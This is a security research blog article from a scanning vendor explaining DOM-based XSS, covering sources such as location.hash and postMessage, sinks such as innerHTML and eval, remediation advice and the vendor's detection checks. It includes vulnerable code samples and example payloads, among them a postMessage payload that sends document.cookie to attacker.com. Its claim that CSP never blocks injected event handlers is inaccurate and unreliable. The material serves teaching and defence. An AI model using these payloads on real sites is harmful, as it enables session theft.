WebDefect
VulnerabilitiesSeptember 22, 202611 min read

DOM-Based XSS: Sinks, Sources, and How to Detect It Without a Server

DOM-based XSS differs from reflected and stored XSS because the attack never touches the server. The payload travels through the browser's own DOM APIs. This article covers the sources and sinks that create DOM XSS risk, the patterns the scanner looks for, and how to remediate each one.

W
WebDefect(Security Research)
Published September 22, 2026

DOM-based cross-site scripting differs from reflected and stored XSS in one important way: the payload never appears in the server's response. Instead, the attack exploits JavaScript code running in the browser that reads from an attacker-controlled source and writes to an unsafe DOM sink. The server has no visibility into the attack, and server-side input validation provides no protection.

This article covers what DOM XSS sources and sinks are, the specific patterns that create risk in production code, and how to remediate each one.

What Makes DOM-Based XSS Different

In reflected XSS, a server reflects unsanitized user input in an HTTP response and the browser executes it. In stored XSS, unsanitized input is stored in a database and served to other users. In both cases, the server is involved in the injection.

In DOM-based XSS, the server is not involved at all. The attack flow is:

  • The attacker crafts a URL with a malicious payload in the fragment (#), query string, or other client-visible part.
  • The victim visits the URL. The server receives the request and returns the normal application page.
  • JavaScript running on the page reads the attacker-controlled value from the URL.
  • The JavaScript writes that value into a DOM sink without sanitization.
  • The browser executes the injected script.

The server's response is identical whether the attack is happening or not. Server-side security controls, WAFs, and output encoding on the server side do not affect DOM XSS exploitability.

Sources: Where Attacker Input Enters

A source is any browser API or property that an attacker can influence by crafting a URL or controlling the browser environment. Common sources:

  • location.hash: The fragment identifier part of the URL (everything after#). The browser does not send the fragment to the server, making it a purely client-side input that application code reads directly.
  • location.search: The query string (?param=value). Unlike the fragment, query strings do reach the server, but if the application reads them client-side without sanitization, they are also a DOM XSS source.
  • location.href: The full URL. Any part of it that reaches a sink is a potential injection vector.
  • document.referrer: The URL of the referring page. Attacker-controlled in some browser configurations.
  • window.name: Persists across navigation within a tab. An attacker who controls a page that navigates to the target can set window.name to a payload value that the target page then reads.
  • postMessage event data: Messages sent from other windows or iframes. If the origin is not validated, any page can send data to the listener.

Sinks: Where Input Becomes Dangerous

A sink is a JavaScript API that, when given attacker-controlled input, can execute code or modify the page in security-relevant ways.

innerHTML and outerHTML

Assigning a string to element.innerHTML causes the browser to parse the string as HTML. Any <script> tags or event handler attributes (onerror, onload, onclick) in the string will be interpreted by the HTML parser. While inline <script> tags injected via innerHTML are not executed in modern browsers, event handlers in injected HTML are.

// Vulnerable: location.hash written to innerHTML
const message = decodeURIComponent(location.hash.slice(1));
document.getElementById('output').innerHTML = message;

// Attack URL:
// https://example.com/page#<img src=x onerror=alert(document.cookie)>

// Safe alternatives:
document.getElementById('output').textContent = message;
// or, if HTML is needed, sanitize with DOMPurify:
document.getElementById('output').innerHTML = DOMPurify.sanitize(message);

outerHTML has the same behavior as innerHTML and should be treated identically.

document.write and document.writeln

document.write writes directly into the HTML parser stream. Attacker-controlled input passed to document.write can inject arbitrary HTML including script tags that execute immediately.

// Vulnerable
document.write('<div>' + location.search + '</div>');

// If location.search is: ?q=</div><script>alert(1)</script>
// document.write outputs raw HTML including the injected script

document.write should not be used in modern applications. It is a legacy API with no use case that cannot be addressed more safely by DOM manipulation methods.

eval, setTimeout, and new Function

eval() and new Function(string) execute a string as JavaScript code. setTimeout and setInterval accept a string as their first argument and execute it as code. Any attacker-controlled string reaching these APIs results in arbitrary code execution.

// Vulnerable: eval with user input
const action = new URLSearchParams(location.search).get('action');
eval(action);

// Vulnerable: setTimeout with string argument
const delay = location.hash.slice(1);
setTimeout(delay, 1000);  // second argument is delay, first is code string

location.hash Written to the DOM

The URL fragment (location.hash) is a particularly common DOM XSS source because it is invisible to the server, not logged in server access logs, and easy to manipulate. Applications that use hash-based routing or read the hash for tab switching, scrolling, or content filtering often write the hash value directly or indirectly to the DOM.

The pattern the scanner looks for is a correlation between reading location.hash and writing to an unsafe sink (innerHTML, outerHTML, document.write, insertAdjacentHTML) in the same JavaScript file. This is the js-008 check.

The fix is to use textContent instead of innerHTML when the hash value should be displayed as text, or to run the value through a sanitization library when HTML rendering is genuinely needed.

postMessage Without Origin Validation

The postMessage API allows windows and iframes to communicate across origins. When a page listens for message events, any other page can send messages to it. Without validating the origin of incoming messages, any page can send a crafted payload that the listener processes as trusted input.

// Vulnerable: no origin check
window.addEventListener('message', function(event) {
  document.getElementById('output').innerHTML = event.data;
});

// Attack: any page runs:
targetWindow.postMessage('<img src=x onerror=fetch("//attacker.com?c="+document.cookie)>', '*');

// Correct: validate origin before processing
window.addEventListener('message', function(event) {
  if (event.origin !== 'https://trusted.example.com') return;
  document.getElementById('output').textContent = event.data;  // also use safe sink
});

Origin validation must be an exact string match against a trusted allowlist. Checking that the origin includes a trusted domain name is not sufficient (an attacker could register trusted.example.com.evil.com).

window.name as an Attack Source

window.name persists across navigation within the same browser tab. A page can set window.name to any value and then navigate to (or open) the target page. If the target page reads window.name and writes it to a DOM sink, the injected value executes.

This attack vector works across origins: an attacker's page can set window.name = "<img src=x onerror=...>" and then navigate the tab to the target URL. The target page opens normally but its JavaScript reads the attacker-set window.name.

The scanner flags reading window.name combined with an unsafe DOM sink as a medium severity finding requiring manual verification (cs-006).

CSP as Partial Mitigation

A Content Security Policy that disallows inline script execution (unsafe-inline not present in script-src) provides partial mitigation against DOM XSS. Event handlers injected via innerHTML are not blocked by CSP, but inline <script> execution is. Injected event handlers (onerror, onclick, etc.) execute regardless of CSP restrictions.

A policy that includes 'unsafe-eval' provides no protection against eval()-based DOM XSS. Removing unsafe-eval from the policy blocks that sink class entirely. CSP reduces the impact of DOM XSS but does not eliminate it. The correct fix is to remove unsafe sink usage from the code.

Remediation

  • Replace innerHTML and outerHTML assignments that use any input derived from URL components, document.referrer, or message events with textContent when the output should be plain text.
  • When HTML rendering of user-controlled content is genuinely necessary, use a sanitization library such as DOMPurify before any DOM insertion. Do not implement custom HTML sanitization.
  • Eliminate document.write usage entirely. Replace with modern DOM APIs.
  • Do not pass string arguments to eval(), setTimeout, setInterval, or new Function(). Pass function references tosetTimeout and setInterval instead.
  • Validate event.origin against a strict allowlist in all postMessage listeners before processing event data.
  • Do not read window.name in application logic unless the value is sanitized before use.

How WebDefect Detects DOM XSS Patterns

WebDefect scans JavaScript files for DOM XSS patterns statically. The scanner does not execute JavaScript or use a headless browser, so findings represent code patterns that indicate risk rather than confirmed exploitable vulnerabilities. All DOM XSS findings are classified as needs_manual_verification.

  • DOM sink usage (js-004): The scanner searches for assignments to innerHTML, outerHTML, document.write,insertAdjacentHTML, eval, and new Function in JavaScript files. When a DOM source (location, document.referrer,window.name) is found in the same file as a sink, the confidence increases. Medium severity.
  • location.hash to DOM sink (js-008): A pattern matchinglocation.hash read followed by an unsafe DOM write in the same file. High severity due to the ease of exploitation via crafted URL.
  • postMessage without origin check (js-006): A message event listener without a visible event.origin check in the same file. Medium severity.
  • window.name to DOM sink (cs-006): Reading window.name combined with a DOM sink in the client-side scan. Medium severity.

References

Research Topics & Taxonomy

#xss#dom-xss#javascript#innerhtml#postmessage#location-hash
Automated Vulnerability Detection

Audit your perimeter for these security conditions

WebDefect automatically analyzes your target domain across TLS 1.3, CSP Level 3, security headers, CORS, and DNS with raw evidence and remediation instructions.

Run Free Scan →